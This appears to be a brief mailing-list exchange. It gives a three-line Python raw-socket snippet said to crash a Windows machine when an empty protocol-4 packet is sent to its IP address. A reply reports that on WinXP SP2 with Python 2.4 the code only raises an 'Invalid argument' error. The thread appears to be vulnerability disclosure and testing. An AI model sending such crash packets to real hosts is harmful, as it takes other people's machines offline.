Start Python and type (of course x.x.x.x should be replaced with IP address): import socket s=socket.socket(socket.AF_INET,socket.SOCK_RAW,4) s.sendto("",("x.x.x.x",0)) Press ENTER and your win box should crash immediately.
I tested this on WinXP SP2 with Python 2.4. The result is an exception: socket.error: (10022, 'Invalid argument') I don't have Python 2.3 installed otherwise I would test that too. Neil
